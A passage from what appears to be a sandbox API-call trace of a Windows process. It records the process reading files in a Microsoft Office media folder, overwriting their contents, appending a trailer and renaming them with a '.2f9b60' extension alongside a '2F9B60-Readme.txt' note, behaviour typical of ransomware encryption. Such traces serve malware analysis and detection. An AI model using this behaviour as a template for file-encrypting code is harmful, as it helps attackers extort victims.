Seed=0x282ef5b0) returned 0x4567891e [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x1eb85b9e [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x3e8d506c [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x278e6028 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x26cf94d0 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x47a837d [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x7dd74554 [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x346ba80c [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x29ce04fe [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x1dfaa0e [0137.160] RtlRandomEx (in: Seed=0x282ef5b0 | out: Seed=0x282ef5b0) returned 0x1772833f [0137.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0137.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0137.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0137.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0137.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20364520 [0137.169] ReadFile (in: hFile=0x1e0c, lpBuffer=0x203554e0, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x282ef5b0, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesRead=0x282ef5b0*=0x1f40, lpOverlapped=0x0) returned 1 [0137.182] SetFilePointerEx (in: hFile=0x1e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.182] WriteFile (in: hFile=0x1e0c, lpBuffer=0x20364520*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x282ef5b4, lpOverlapped=0x0 | out: lpBuffer=0x20364520*, lpNumberOfBytesWritten=0x282ef5b4*=0x1f40, lpOverlapped=0x0) returned 1 [0137.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0137.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0137.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20364520) returned 1 [0137.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0137.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a560 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0e0 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0137.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0137.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.215] SetFilePointerEx (in: hFile=0x1e0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.215] WriteFile (in: hFile=0x1e0c, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x282ef6d0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x282ef6d0*=0x10a, lpOverlapped=0x0) returned 1 [0137.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0137.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0137.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0137.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0137.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0137.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.222] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="ca") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="52") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="78") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="3b") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="56") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="4e") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="86") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="ed") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="ba") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="2e") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="e2") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="97") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="56") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="fe") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="24") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="e6") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="fc") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="b1") returned 2 [0137.222] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="7d") returned 2 [0137.223] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="05") returned 2 [0137.223] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="64") returned 2 [0137.223] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="f5") returned 2 [0137.223] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="6b") returned 2 [0137.223] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="bc") returned 2 [0137.223] RtlInitAnsiString (in: DestinationString=0x282ef748, SourceString="ca52783b564e86edba2ee29756fe24e6fcb17d0564f56bbc" | out: DestinationString="ca52783b564e86edba2ee29756fe24e6fcb17d0564f56bbc") [0137.223] RtlAnsiStringToUnicodeString (in: DestinationString=0x282ef718, SourceString="ca52783b564e86edba2ee29756fe24e6fcb17d0564f56bbc", AllocateDestinationString=1 | out: DestinationString="ca52783b564e86edba2ee29756fe24e6fcb17d0564f56bbc") returned 0x0 [0137.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c90 [0137.223] RtlFreeAnsiString (AnsiString="c") [0137.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ade80 [0137.225] wcscat (in: _Dest=0x1b7ade80, _Source="ca52783b564e" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e" [0137.225] wcscat (in: _Dest=0x1b7ade80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e.2f9b60" [0137.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e.2f9b60", NtPathName=0x282ef6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ca52783b564e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050be20 [0137.225] NtSetInformationFile (FileHandle=0x1e0c, IoStatusBlock=0x282ef790, FileInformation=0x2050be20, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0137.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0137.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbc50) returned 1 [0137.403] NtQueryInformationFile (in: FileHandle=0x1e0c, IoStatusBlock=0x282ef758, FileInformation=0x282ef768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x282ef758, FileInformation=0x282ef768) returned 0x0 [0137.403] NtSetInformationFile (FileHandle=0x1e0c, IoStatusBlock=0x282ef758, FileInformation=0x282ef768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ade80) returned 1 [0137.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0137.408] FlushFileBuffers (hFile=0x1e0c) returned 1 [0138.484] CloseHandle (hObject=0x1e0c) returned 1 [0139.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c090 [0139.125] wcscpy (in: _Dest=0x1b86c090, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0139.125] wcscat (in: _Dest=0x1b86c090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0139.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0139.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 [0139.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86be50) returned 1 Thread: id = 1773 os_tid = 0x500 [0132.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg")) returned 0x20 [0133.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG", dwFileAttributes=0x20) returned 1 [0134.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dfc [0137.057] GetFileSizeEx (in: hFile=0x1dfc, lpFileSize=0x2822fd20 | out: lpFileSize=0x2822fd20*=23083) returned 1 [0137.057] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x5a27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.057] ReadFile (in: hFile=0x1dfc, lpBuffer=0x2822fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2822fce8, lpOverlapped=0x0 | out: lpBuffer=0x2822fca0*, lpNumberOfBytesRead=0x2822fce8*=0x4, lpOverlapped=0x0) returned 1 [0137.101] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0137.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0137.101] NtQuerySystemTime (in: CurrentTime=0x2822fbe0 | out: CurrentTime=0x2822fbe0*=132462177423418000) returned 0x0 [0137.101] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x193e8653 [0137.101] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x7b0d3aa2 [0137.101] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x615aa358 [0137.101] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x48eec7fe [0137.101] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x275ee058 [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x33e46f7b [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x1698dc4a [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5a10cf4e [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x794a7114 [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5113bf7e [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x560ea2ce [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x4f6355e8 [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5d9f7aab [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x41bfd0ee [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5c186ed [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x4de706b6 [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x61969d1f [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x434398ac [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x2120c01e [0137.102] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x3ac3b0f5 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x67c8a475 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x37fd3cee [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x6940828c [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x7d466397 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5e3d8e81 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x22837f51 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x272679f8 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x5fabfaa4 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x59f02916 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x4f2e6697 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x7eeba024 [0137.103] RtlRandomEx (in: Seed=0x2822fbd0 | out: Seed=0x2822fbd0) returned 0x32a04e20 [0137.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0137.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0137.119] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.119] ReadFile (in: hFile=0x1dfc, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2822fc40, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x2822fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0137.146] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2036bd40 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.147] WriteFile (in: hFile=0x1dfc, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2822fc40, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x2822fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0137.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0137.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0137.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a5f0 [0137.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0137.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a0b0 [0137.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0137.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.229] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.229] WriteFile (in: hFile=0x1dfc, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2822fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2822fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0137.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0137.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0137.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0137.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0137.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506a90 [0137.234] wcscpy (in: _Dest=0x20506a90, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" [0137.234] wcscat (in: _Dest=0x20506a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.2f9b60" [0137.234] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.2f9b60", NtPathName=0x2822fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c0e0 [0137.234] NtSetInformationFile (FileHandle=0x1dfc, IoStatusBlock=0x2822fdb0, FileInformation=0x2050c0e0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0137.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0137.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdaf0) returned 1 [0137.405] NtQueryInformationFile (in: FileHandle=0x1dfc, IoStatusBlock=0x2822fd78, FileInformation=0x2822fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2822fd78, FileInformation=0x2822fd88) returned 0x0 [0137.405] NtSetInformationFile (FileHandle=0x1dfc, IoStatusBlock=0x2822fd78, FileInformation=0x2822fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506a90) returned 1 [0137.410] FlushFileBuffers (hFile=0x1dfc) returned 1 [0138.487] CloseHandle (hObject=0x1dfc) returned 1 [0138.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c090 [0138.511] wcscpy (in: _Dest=0x1b86c090, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0138.511] wcscat (in: _Dest=0x1b86c090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" 